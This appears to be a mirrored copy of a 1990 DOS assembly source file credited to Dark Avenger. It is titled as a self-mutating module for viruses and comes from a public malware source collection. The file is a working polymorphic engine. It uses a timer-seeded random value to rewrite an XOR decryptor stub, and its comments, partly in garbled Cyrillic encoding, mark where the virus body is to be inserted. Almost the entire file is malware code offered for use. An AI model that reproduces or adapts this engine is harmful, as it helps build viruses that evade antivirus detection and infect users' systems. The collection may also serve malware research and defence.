mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
188 lines
3.2 KiB
NASM
188 lines
3.2 KiB
NASM
page ,132
|
||
name mutate
|
||
title MUTATE - A Self-mutating Module for Viruses
|
||
.radix 16
|
||
.model tiny
|
||
.code
|
||
|
||
; This source code is a copyrighted material
|
||
; (C) 1990 DARK AVENGER
|
||
|
||
org 100
|
||
|
||
timer equ 46C
|
||
|
||
start:
|
||
jmp prog
|
||
|
||
; „¥ª®¤¨° ®±®¢ ² · ±² ¨ ®¯°¥¤¥«¿ ®¬¥° £¥¥° ¶¨¿² ¨ ¤°¥± v_entry.
|
||
; ‡ ¤ ¯° ¢¨ ¯®±«¥¤®²®, ¢§¨¬¥ ®¯¥° ¤ JMP-a, ª®©²® ²°¿¡¢ ¤ ±²®¨
|
||
; ¤°¥± 100, ².¥. ¯° ¢¥® ¥ ± ¬® § .COM ´ ©«®¢¥.
|
||
|
||
v_entry:
|
||
xchg ax,bp
|
||
mov si,100
|
||
inc si
|
||
add si,[si]
|
||
mov di,si
|
||
xor dx,dx
|
||
mov cx,(top-encrypt)/2-1
|
||
push cx
|
||
calcgen:
|
||
xor dx,[si+encrypt-v_entry+2]
|
||
org $-1
|
||
inc si
|
||
inc si
|
||
dec cx
|
||
jns calcgen
|
||
pop ax
|
||
decrypt:
|
||
xor [di+encrypt-v_entry+2],dx
|
||
org $-1
|
||
inc di
|
||
inc di
|
||
dec ax
|
||
jns decrypt
|
||
encrypt:
|
||
xchg si,si ;’¥§¨ ¨±²°³ª¶¨¨ ± ¥®¡µ®¤¨¬¨
|
||
xchg dx,dx
|
||
add si,encrypt-top+2
|
||
dec dx
|
||
|
||
; ’³ª ²°¿¡¢ ¤ ±¥ ±«®¦¨ ¨¨¶¨ «¨§¨° ¹ ² · ±² ¢¨°³± . <20> ° ¬¥²°¨:
|
||
; DX = -®¬¥° £¥¥° ¶¨¿²
|
||
; SI = ¤°¥± ¥²¨ª¥² v_entry.
|
||
|
||
; . . .
|
||
prog:
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:[timer]
|
||
pop ds
|
||
call mutate
|
||
mov ax,4C00
|
||
int 21
|
||
|
||
; ’ §¨ ¯®¤¯°®£° ¬ ±º§¤ ¢ ±«³· © ¬³² ¶¨¿ ¤¥ª®¤¨° ¹ ² · ±². <20> ° ¬¥²°¨:
|
||
; AX = ±«³· ©® ·¨±«® (¢§¥²® ®² 0:46C)
|
||
|
||
mutate:
|
||
cld
|
||
xor dx,dx
|
||
push cs
|
||
pop ds
|
||
mov cx,90
|
||
div cx
|
||
call getcode
|
||
mov ds:[15],al
|
||
call getcode
|
||
mov ds:[1E],al
|
||
xchg ax,dx
|
||
mov dl,6
|
||
div dl
|
||
mov si,offset muttbl
|
||
mov bx,offset xlatbl1
|
||
call buildblk
|
||
mov [si],al
|
||
inc si
|
||
mov bx,offset xlatbl2
|
||
call buildblk2
|
||
mov bx,offset xlatbl3
|
||
call buildblk2
|
||
mov bx,offset muttbl-1
|
||
mov si,offset xlatdat
|
||
mov cx,xlatbl1-xlatdat
|
||
nextgen:
|
||
lodsb
|
||
test al,al
|
||
jz cantchg
|
||
push ax
|
||
and al,111b
|
||
xlat
|
||
mov ah,0F8
|
||
xchg ax,dx
|
||
pop ax
|
||
push cx
|
||
mov cl,3
|
||
shr al,cl
|
||
jz skipxlat
|
||
xlat
|
||
shl al,cl
|
||
jz skipxlat
|
||
xlat
|
||
shl al,cl
|
||
or dl,al
|
||
mov dh,0c0
|
||
skipxlat:
|
||
pop cx
|
||
and [si-(xlatdat+1-v_entry)],dh
|
||
or [si-(xlatdat+1-v_entry)],dl
|
||
cantchg:
|
||
loop nextgen
|
||
ret
|
||
|
||
buildblk2:
|
||
mov al,ah
|
||
buildblk:
|
||
shr al,1
|
||
mov dl,al
|
||
push ax
|
||
adc al,1
|
||
cmp al,3
|
||
jb setblk
|
||
sub al,3
|
||
setblk:
|
||
or dl,al
|
||
xlat
|
||
mov [si],al
|
||
inc si
|
||
pop ax
|
||
xlat
|
||
mov [si],al
|
||
inc si
|
||
mov al,dl
|
||
xor al,3
|
||
xlat
|
||
ret
|
||
|
||
getcode:
|
||
shr dx,1
|
||
mov al,79
|
||
jnc got
|
||
or al,100b
|
||
got:
|
||
ret
|
||
|
||
xlatdat db 0,4,0,0,4,0,26,0
|
||
db 2c,0,9,2,0,0,2,0
|
||
db 0e,0,4,4,2,0,0,3
|
||
db 0,0f,0,5,5,3,0,0
|
||
db 0,4,0,1
|
||
|
||
xlatbl1 db 0,1,2
|
||
xlatbl2 db 3,6,7
|
||
xlatbl3 db 7,4,5
|
||
|
||
chksum dw 1A03 ;Š®²°®« ±³¬ ¢¨°³± .
|
||
; ‚<>ˆŒ€<C592>ˆ…! ’ §¨ ª®²°®« ±³¬ ²°¿¡¢ ¤ ±¥ ±¬¥²¥ °ºª . ’¿ ±¥ ±¬¿² ª ²®
|
||
; ±¥ ¥XOR- ² ¢±¨·ª¨ 16-¡¨²®¢¨ ¤³¬¨ ¬¥¦¤³ encrypt ¨ top. <20>°®¿ ¨¬ ²°¿¡¢ ¤ ¡º¤¥
|
||
; ¥·¥²® ·¨±«®, ®±¢¥ ²®¢ ± ¬¨¿ ¥²¨ª¥² chksum ²°¿¡¢ ¤ ¡º¤¥ £° ¨¶
|
||
; ¤³¬ . „¨°¥ª²¨¢¨²¥ errnz ¢ ª° ¿ ´ ©« ®±¨£³°¿¢ ² ²®¢ . Ž±¢¥ ²®¢ ª® ¬¥¦¤³
|
||
; encrypt ¨ top ¨¬ ¿ª ª¢¨ ¤ ¨ ¨«¨ ª®¤ ª®¨²® ±¥ ¯°®¬¥¿², ²¿ ²°¿¡¢ ¤ ±¥
|
||
; ±¬¿² ¯® ®¯¨± ¨¿ «£®°¨²º¬ ¯°¨ ¢±¿ª® § ° §¿¢ ¥ ´ ©«.
|
||
|
||
; ’³ª ²°¿¡¢ ¤ ±¥ ±«®¦¨ ®±² « ² · ±² ®² ¢¨°³±
|
||
|
||
; . . .
|
||
|
||
top:
|
||
.errnz (encrypt-v_entry) mod 2
|
||
.errnz (top-encrypt) mod 4-2
|
||
.errnz (top-v_entry) mod 2
|
||
.errnz (chksum-v_entry) mod 2
|
||
|
||
muttbl db 7 dup(?) ;<3B> ¡®² ®¡« ±² § ¯®¤¯°®£° ¬ ² mutate
|
||
|
||
end start
|
||
|